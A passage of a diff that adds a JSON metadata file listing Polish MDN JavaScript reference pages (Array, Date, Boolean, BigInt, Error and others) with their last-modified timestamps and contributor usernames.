+ "Web/JavaScript/Reference/Classes/Private_class_fields": {
+ "modified": "2020-10-22T08:52:10.875Z",
+ "contributors": [
+ "michalmarchewczyk"
+ ]
+ },
+ "Web/JavaScript/Reference/Classes/Public_class_fields": {
+ "modified": "2020-10-15T22:35:06.679Z",
+ "contributors": [
+ "michalmarchewczyk"
+ ]
+ },
+ "Web/JavaScript/Reference/Classes/extends": {
+ "modified": "2020-10-15T22:35:04.841Z",
+ "contributors": [
+ "michalmarchewczyk"
+ ]
+ },
+ "Web/JavaScript/Reference/Classes/static": {
+ "modified": "2020-10-21T19:35:52.117Z",
+ "contributors": [
+ "michalmarchewczyk",
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Reference/Errors": {
+ "modified": "2020-03-12T19:45:52.052Z",
+ "contributors": [
+ "devMike",
+ "Sheppy"
+ ]
+ },
+ "Web/JavaScript/Reference/Errors/Brakujący_średnik_po_własności_id": {
+ "modified": "2020-03-12T19:47:17.965Z",
+ "contributors": [
+ "BrittleHeart"
+ ]
+ },
+ "Web/JavaScript/Reference/Errors/Invalid_array_length": {
+ "modified": "2020-03-12T19:49:38.261Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Reference/Errors/Invalid_date": {
+ "modified": "2020-11-22T22:16:46.988Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Reference/Errors/JSON_bad_parse": {
+ "modified": "2020-03-12T19:49:40.890Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Reference/Errors/Missing_curly_after_function_body": {
+ "modified": "2020-11-22T22:43:32.569Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Reference/Errors/Missing_initializer_in_const": {
+ "modified": "2020-03-12T19:49:39.699Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list": {
+ "modified": "2020-11-22T22:32:16.181Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement": {
+ "modified": "2020-03-31T15:55:43.969Z",
+ "contributors": [
+ "kepka7044",
+ "Comandorekk"
+ ]
+ },
+ "Web/JavaScript/Reference/Errors/More_arguments_needed": {
+ "modified": "2020-03-12T19:46:20.545Z",
+ "contributors": [
+ "krzmig",
+ "saulgajda"
+ ]
+ },
+ "Web/JavaScript/Reference/Errors/Not_a_function": {
+ "modified": "2020-03-12T19:46:20.885Z",
+ "contributors": [
+ "Vvitek"
+ ]
+ },
+ "Web/JavaScript/Reference/Errors/Not_defined": {
+ "modified": "2020-03-12T19:45:53.813Z",
+ "contributors": [
+ "saulgajda",
+ "szopenkrk"
+ ]
+ },
+ "Web/JavaScript/Reference/Errors/Property_access_denied": {
+ "modified": "2020-10-26T12:04:59.811Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Reference/Errors/Unexpected_type": {
+ "modified": "2020-03-12T19:46:02.310Z",
+ "contributors": [
+ "devMike"
+ ]
+ },
+ "Web/JavaScript/Reference/Functions": {
+ "modified": "2020-03-12T19:45:21.066Z",
+ "contributors": [
+ "wilfreddesert"
+ ]
+ },
+ "Web/JavaScript/Reference/Functions/Funkcje_strzalkowe": {
+ "modified": "2020-10-15T21:59:06.310Z",
+ "contributors": [
+ "piotrjanczak",
+ "jangromko",
+ "ppuzio"
+ ]
+ },
+ "Web/JavaScript/Reference/Functions/Parametry_domyślne": {
+ "modified": "2020-10-15T22:15:13.631Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Reference/Functions/get": {
+ "modified": "2020-03-12T19:45:32.396Z",
+ "contributors": [
+ "Rednaxela700",
+ "pawelk92",
+ "lukaszewczak",
+ "pkubowicz",
+ "broslukasz"
+ ]
+ },
+ "Web/JavaScript/Reference/Functions/set": {
+ "modified": "2020-10-15T22:11:19.769Z",
+ "contributors": [
+ "jedzej"
+ ]
+ },
+ "Web/JavaScript/Referencje": {
+ "modified": "2020-03-12T19:37:41.078Z",
+ "contributors": [
+ "asbud",
+ "teoli",
+ "Mgjbot",
+ "Internauta1024A",
+ "Diablownik",
+ "Ptak82",
+ "Takenbot",
+ "gandalf",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Funkcje/arguments": {
+ "modified": "2019-01-16T15:45:04.595Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Marcoos",
+ "Sheppy",
+ "telendt",
+ "Internauta1024A",
+ "Ptak82",
+ "Bamber"
+ ]
+ },
+ "Web/JavaScript/Referencje/Funkcje/arguments/callee": {
+ "modified": "2019-01-16T15:40:18.334Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82",
+ "Marcoos",
+ "gandalf"
+ ]
+ },
+ "Web/JavaScript/Referencje/Funkcje/arguments/length": {
+ "modified": "2019-01-16T15:41:27.370Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Marcoos",
+ "Diablownik",
+ "Internauta1024A",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Komentarz": {
+ "modified": "2019-03-23T23:46:42.565Z",
+ "contributors": [
+ "teoli",
+ "Sheppy",
+ "ElKreciko",
+ "Mgjbot",
+ "Internauta1024A",
+ "Marcoos",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/O_tym_dokumencie": {
+ "modified": "2020-10-29T15:16:04.046Z",
+ "contributors": [
+ "michalmarchewczyk",
+ "asbud",
+ "teoli",
+ "Mgjbot",
+ "Odder",
+ "WalkerPL",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/O_tym_dokumencie/Konwencje_formatowania_tekstu": {
+ "modified": "2019-03-24T00:03:10.475Z",
+ "contributors": [
+ "teoli",
+ "fscholz",
+ "Marcoos",
+ "Ptak82",
+ "Mgjbot",
+ "VooEak"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty": {
+ "modified": "2020-03-12T19:37:39.285Z",
+ "contributors": [
+ "mitelak",
+ "asbud",
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array": {
+ "modified": "2020-03-03T12:48:14.352Z",
+ "contributors": [
+ "1MrHous1",
+ "SurmaAa",
+ "wbamberg",
+ "stuniel",
+ "SlaWitDev",
+ "krawieck",
+ "Tidu",
+ "RadekRo",
+ "zpantalyku",
+ "teoli",
+ "splewako",
+ "mirekczechxmm",
+ "KrzysztofKruk",
+ "Chrisraven",
+ "Ptak82",
+ "tybulewicz",
+ "Staszyna",
+ "Internauta1024A",
+ "Mgjbot",
+ "gandalf",
+ "VooEak",
+ "Marcoos",
+ "Anonymous"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/Reduce": {
+ "modified": "2019-11-09T19:25:57.362Z",
+ "contributors": [
+ "apiczkens",
+ "the0ffh",
+ "sqeeswy",
+ "kamce",
+ "thigrand"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/ReduceRight": {
+ "modified": "2020-10-15T22:28:04.989Z",
+ "contributors": [
+ "martraw",
+ "mayacode"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/concat": {
+ "modified": "2019-03-23T23:47:21.906Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Marcoos",
+ "Staszyna",
+ "Internauta1024A",
+ "Sheppy",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/copyWithin": {
+ "modified": "2020-10-26T11:54:47.946Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/entries": {
+ "modified": "2020-10-15T22:07:30.753Z",
+ "contributors": [
+ "kucharzgotuje"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/every": {
+ "modified": "2019-03-23T23:49:40.637Z",
+ "contributors": [
+ "tomabr",
+ "teoli",
+ "Mgjbot",
+ "telendt",
+ "Marcoos",
+ "Ptak82",
+ "Sheppy",
+ "Internauta1024A"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/fill": {
+ "modified": "2019-03-23T22:50:50.966Z",
+ "contributors": [
+ "emero",
+ "PawelPapuli",
+ "SphinxKnight",
+ "quim"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/filter": {
+ "modified": "2019-03-18T20:34:27.512Z",
+ "contributors": [
+ "KamilaWalkowiak",
+ "romprzy",
+ "kanapka94",
+ "tues",
+ "zpantalyku",
+ "krzosik",
+ "robadev",
+ "alexfluger",
+ "teoli",
+ "michail_w",
+ "Krzysiek6",
+ "Mgjbot",
+ "Marcoos",
+ "telendt",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/find": {
+ "modified": "2020-09-25T21:17:08.283Z",
+ "contributors": [
+ "jangromko",
+ "SphinxKnight",
+ "TeoTN",
+ "gpluta",
+ "kdex",
+ "svantetic",
+ "karol-f",
+ "thigrand"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/findIndex": {
+ "modified": "2019-03-23T22:07:32.543Z",
+ "contributors": [
+ "Snieezy"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/flat": {
+ "modified": "2020-10-15T22:19:13.003Z",
+ "contributors": [
+ "KonradLinkowski",
+ "raszta"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/forEach": {
+ "modified": "2019-09-23T06:35:11.871Z",
+ "contributors": [
+ "OJezu",
+ "zibra",
+ "teoli",
+ "Mgjbot",
+ "ethertank",
+ "Robson",
+ "telendt",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/from": {
+ "modified": "2019-03-23T22:31:40.624Z",
+ "contributors": [
+ "kdex",
+ "Maciej_Grycz",
+ "kamce",
+ "aquz"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/includes": {
+ "modified": "2020-10-15T21:41:30.374Z",
+ "contributors": [
+ "Nux",
+ "wbamberg",
+ "DzikiChrzan"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/indexOf": {
+ "modified": "2019-03-23T23:46:42.451Z",
+ "contributors": [
+ "teoli",
+ "telendt",
+ "Ptak82",
+ "Mgjbot",
+ "Sheppy"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/isArray": {
+ "modified": "2019-03-23T22:54:42.353Z",
+ "contributors": [
+ "kwarpechowski",
+ "tomabr"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/join": {
+ "modified": "2019-03-23T23:48:50.993Z",
+ "contributors": [
+ "teoli",
+ "Diablownik",
+ "Mgjbot",
+ "Internauta1024A",
+ "Staszyna",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/keys": {
+ "modified": "2019-03-23T22:15:56.755Z",
+ "contributors": [
+ "buoto"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/lastIndexOf": {
+ "modified": "2019-03-23T23:47:29.921Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "telendt",
+ "Marcoos",
+ "Sheppy",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/length": {
+ "modified": "2019-03-23T23:47:25.247Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Internauta1024A",
+ "Ptak82",
+ "Sheppy"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/map": {
+ "modified": "2019-03-23T23:49:38.387Z",
+ "contributors": [
+ "michalwarda",
+ "halicki",
+ "cojack",
+ "Miras",
+ "nix1",
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "tybulewicz",
+ "Internauta1024A"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/of": {
+ "modified": "2020-10-15T22:10:00.043Z",
+ "contributors": [
+ "mat-bi"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/pop": {
+ "modified": "2019-03-23T23:47:25.069Z",
+ "contributors": [
+ "asikora",
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Internauta1024A",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/prototype": {
+ "modified": "2019-07-11T20:14:55.409Z",
+ "contributors": [
+ "kleyu",
+ "teoli",
+ "fscholz",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/push": {
+ "modified": "2019-03-23T23:47:25.462Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "telendt",
+ "Internauta1024A"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/reverse": {
+ "modified": "2019-03-23T23:47:24.313Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Marcoos",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/shift": {
+ "modified": "2019-06-30T05:28:38.117Z",
+ "contributors": [
+ "Krysik",
+ "teoli",
+ "tomecko",
+ "Mgjbot",
+ "telendt",
+ "Internauta1024A",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/slice": {
+ "modified": "2019-03-23T23:47:22.485Z",
+ "contributors": [
+ "malu",
+ "teoli",
+ "michalmarkowski",
+ "Mgjbot",
+ "Ptak82",
+ "telendt",
+ "Internauta1024A",
+ "Sheppy"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/some": {
+ "modified": "2019-03-23T23:49:40.896Z",
+ "contributors": [
+ "getup10g",
+ "Bjornskjald",
+ "alexfluger",
+ "teoli",
+ "Mgjbot",
+ "Internauta1024A",
+ "Ptak82",
+ "tybulewicz"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/sort": {
+ "modified": "2019-03-23T23:47:26.710Z",
+ "contributors": [
+ "Bx.",
+ "el-dide",
+ "teoli",
+ "Mgjbot",
+ "tybulewicz",
+ "Internauta1024A",
+ "Diablownik",
+ "Sheppy",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/splice": {
+ "modified": "2019-03-23T23:47:26.002Z",
+ "contributors": [
+ "emero",
+ "Wayofthesin",
+ "kaczor1984",
+ "achwedyk",
+ "teoli",
+ "Mgjbot",
+ "telendt",
+ "Ptak82",
+ "Internauta1024A",
+ "Sheppy"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/toLocaleString": {
+ "modified": "2020-11-11T13:31:59.409Z",
+ "contributors": [
+ "szczerski",
+ "kwarpechowski"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/toSource": {
+ "modified": "2019-03-23T23:49:50.954Z",
+ "contributors": [
+ "teoli",
+ "Diablownik",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/toString": {
+ "modified": "2019-03-23T23:47:24.621Z",
+ "contributors": [
+ "kwarpechowski",
+ "teoli",
+ "Mgjbot",
+ "Diablownik",
+ "Internauta1024A",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/unshift": {
+ "modified": "2019-03-23T23:47:27.035Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Internauta1024A",
+ "Diablownik"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Array/values": {
+ "modified": "2020-10-15T22:00:51.518Z",
+ "contributors": [
+ "kasztan"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/ArrayBuffer": {
+ "modified": "2019-03-23T22:14:05.315Z",
+ "contributors": [
+ "drm404"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/BigInt": {
+ "modified": "2020-10-15T22:27:46.176Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/BigInt/asIntN": {
+ "modified": "2020-10-15T22:29:22.063Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/BigInt/asUintN": {
+ "modified": "2020-10-15T22:29:21.176Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/BigInt/toString": {
+ "modified": "2020-10-15T22:29:27.321Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/BigInt/valueOf": {
+ "modified": "2020-10-15T22:30:01.749Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Boolean": {
+ "modified": "2019-03-23T23:51:54.713Z",
+ "contributors": [
+ "kanapka94",
+ "wbamberg",
+ "teoli",
+ "Diablownik",
+ "Internauta1024A",
+ "Ptak82",
+ "Mgjbot",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Boolean/prototype": {
+ "modified": "2019-03-23T23:58:08.032Z",
+ "contributors": [
+ "teoli",
+ "Witia",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Boolean/toSource": {
+ "modified": "2019-03-23T23:58:05.520Z",
+ "contributors": [
+ "teoli",
+ "Witia",
+ "Mgjbot",
+ "Ptak82",
+ "telendt",
+ "Takenbot",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Boolean/toString": {
+ "modified": "2019-03-23T23:58:09.826Z",
+ "contributors": [
+ "teoli",
+ "Witia",
+ "Mgjbot",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Boolean/valueOf": {
+ "modified": "2019-03-23T23:58:19.030Z",
+ "contributors": [
+ "teoli",
+ "Witia",
+ "Mgjbot",
+ "Ptak82",
+ "Takenbot",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/DataView": {
+ "modified": "2020-10-15T21:57:36.691Z",
+ "contributors": [
+ "meron1122"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date": {
+ "modified": "2019-06-11T10:18:58.847Z",
+ "contributors": [
+ "wojexe",
+ "dkoprowski",
+ "wbamberg",
+ "teoli",
+ "Witia",
+ "Internauta1024A",
+ "telendt",
+ "Mgjbot",
+ "Ptak82",
+ "Jfkpl",
+ "VooEak",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/UTC": {
+ "modified": "2019-03-23T23:58:12.265Z",
+ "contributors": [
+ "teoli",
+ "Witia",
+ "Mgjbot",
+ "telendt",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/constructor": {
+ "modified": "2019-01-16T14:55:06.466Z",
+ "contributors": [
+ "teoli",
+ "Witia",
+ "Marcoos",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/getDate": {
+ "modified": "2019-03-18T20:39:59.605Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "telendt",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/getDay": {
+ "modified": "2019-03-23T23:47:14.453Z",
+ "contributors": [
+ "dloranc",
+ "teoli",
+ "Mgjbot",
+ "telendt",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/getFullYear": {
+ "modified": "2019-03-23T23:58:09.308Z",
+ "contributors": [
+ "teoli",
+ "Witia",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/getHours": {
+ "modified": "2019-03-23T23:58:08.740Z",
+ "contributors": [
+ "teoli",
+ "Witia",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/getMilliseconds": {
+ "modified": "2019-03-23T23:58:07.015Z",
+ "contributors": [
+ "teoli",
+ "Witia",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/getMinutes": {
+ "modified": "2019-03-23T23:58:11.611Z",
+ "contributors": [
+ "teoli",
+ "Niewiado",
+ "ethertank",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/getMonth": {
+ "modified": "2019-03-23T23:58:11.021Z",
+ "contributors": [
+ "teoli",
+ "Niewiado",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/getSeconds": {
+ "modified": "2019-03-23T23:58:07.116Z",
+ "contributors": [
+ "dloranc",
+ "teoli",
+ "Niewiado",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/getTime": {
+ "modified": "2019-03-23T23:58:10.392Z",
+ "contributors": [
+ "teoli",
+ "Niewiado",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/getTimezoneOffset": {
+ "modified": "2019-03-23T23:58:10.620Z",
+ "contributors": [
+ "teoli",
+ "Niewiado",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/getUTCDate": {
+ "modified": "2019-03-18T20:40:45.398Z",
+ "contributors": [
+ "kdragowski",
+ "Vrq",
+ "teoli",
+ "Niewiado",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/getUTCDay": {
+ "modified": "2019-03-23T23:58:06.532Z",
+ "contributors": [
+ "teoli",
+ "Niewiado",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/getUTCFullYear": {
+ "modified": "2019-03-23T23:58:11.153Z",
+ "contributors": [
+ "teoli",
+ "Niewiado",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/getUTCHours": {
+ "modified": "2019-03-23T23:58:11.930Z",
+ "contributors": [
+ "teoli",
+ "Niewiado",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/getUTCMilliseconds": {
+ "modified": "2019-03-23T23:58:11.828Z",
+ "contributors": [
+ "teoli",
+ "Niewiado",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/getUTCMinutes": {
+ "modified": "2019-03-23T23:58:11.716Z",
+ "contributors": [
+ "teoli",
+ "Niewiado",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/getUTCMonth": {
+ "modified": "2019-03-23T23:58:09.067Z",
+ "contributors": [
+ "teoli",
+ "Niewiado",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/getUTCSeconds": {
+ "modified": "2019-03-23T23:58:13.586Z",
+ "contributors": [
+ "teoli",
+ "Niewiado",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/getYear": {
+ "modified": "2019-03-23T23:58:08.162Z",
+ "contributors": [
+ "teoli",
+ "Niewiado",
+ "Mgjbot",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/now": {
+ "modified": "2019-03-23T23:51:17.289Z",
+ "contributors": [
+ "mibac",
+ "teoli",
+ "Diablownik",
+ "ethertank",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/parse": {
+ "modified": "2019-03-18T20:39:59.791Z",
+ "contributors": [
+ "teoli",
+ "Niewiado",
+ "Mgjbot",
+ "Internauta1024A",
+ "Ptak82",
+ "Diablownik"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/prototype": {
+ "modified": "2019-03-23T23:53:54.438Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Internauta1024A",
+ "Taken",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/setDate": {
+ "modified": "2019-03-18T20:39:59.968Z",
+ "contributors": [
+ "teoli",
+ "Niewiado",
+ "Internauta1024A",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/setFullYear": {
+ "modified": "2019-03-23T23:58:07.348Z",
+ "contributors": [
+ "teoli",
+ "gandalf",
+ "Internauta1024A",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/setHours": {
+ "modified": "2019-08-28T16:11:14.990Z",
+ "contributors": [
+ "radamuspl",
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/setMilliseconds": {
+ "modified": "2019-03-23T23:43:30.096Z",
+ "contributors": [
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/setMinutes": {
+ "modified": "2019-03-23T23:43:25.746Z",
+ "contributors": [
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/setMonth": {
+ "modified": "2019-03-23T23:43:31.314Z",
+ "contributors": [
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/setSeconds": {
+ "modified": "2019-03-23T23:43:26.818Z",
+ "contributors": [
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/setTime": {
+ "modified": "2019-03-23T23:43:26.218Z",
+ "contributors": [
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/setUTCDate": {
+ "modified": "2019-03-23T23:43:19.551Z",
+ "contributors": [
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/setUTCFullYear": {
+ "modified": "2019-03-23T23:43:22.591Z",
+ "contributors": [
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/setUTCHours": {
+ "modified": "2019-03-23T23:43:27.771Z",
+ "contributors": [
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/setUTCMilliseconds": {
+ "modified": "2019-03-23T23:43:32.840Z",
+ "contributors": [
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/setUTCMinutes": {
+ "modified": "2019-03-23T23:43:24.515Z",
+ "contributors": [
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/setUTCMonth": {
+ "modified": "2019-03-23T23:43:31.194Z",
+ "contributors": [
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/setUTCSeconds": {
+ "modified": "2019-03-23T23:43:28.708Z",
+ "contributors": [
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/setYear": {
+ "modified": "2019-03-23T23:43:29.991Z",
+ "contributors": [
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/toGMTString": {
+ "modified": "2019-03-23T23:43:24.162Z",
+ "contributors": [
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/toJSON": {
+ "modified": "2020-10-15T22:09:56.845Z",
+ "contributors": [
+ "chlebek"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/toLocaleDateString": {
+ "modified": "2019-03-18T20:39:59.044Z",
+ "contributors": [
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/toLocaleString": {
+ "modified": "2019-03-18T20:39:59.243Z",
+ "contributors": [
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/toLocaleTimeString": {
+ "modified": "2019-03-23T23:43:29.100Z",
+ "contributors": [
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/toSource": {
+ "modified": "2019-03-23T23:43:26.646Z",
+ "contributors": [
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/toString": {
+ "modified": "2019-03-23T23:46:38.804Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Marcoos"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/toUTCString": {
+ "modified": "2019-03-23T23:43:28.172Z",
+ "contributors": [
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Date/valueOf": {
+ "modified": "2019-03-23T23:43:28.602Z",
+ "contributors": [
+ "teoli",
+ "Ptak82"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Error": {
+ "modified": "2020-10-15T21:37:48.928Z",
+ "contributors": [
+ "ZiomaleQ",
+ "mitelak",
+ "fscholz"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Error/Stack": {
+ "modified": "2020-10-15T22:30:56.297Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/JavaScript/Referencje/Obiekty/Error/columnNumber": {
+ "modified": "2019-03-23T22:50:40.876Z",
+ "contributors": [
+ "teoli",
+ "fscholz"
+ ]
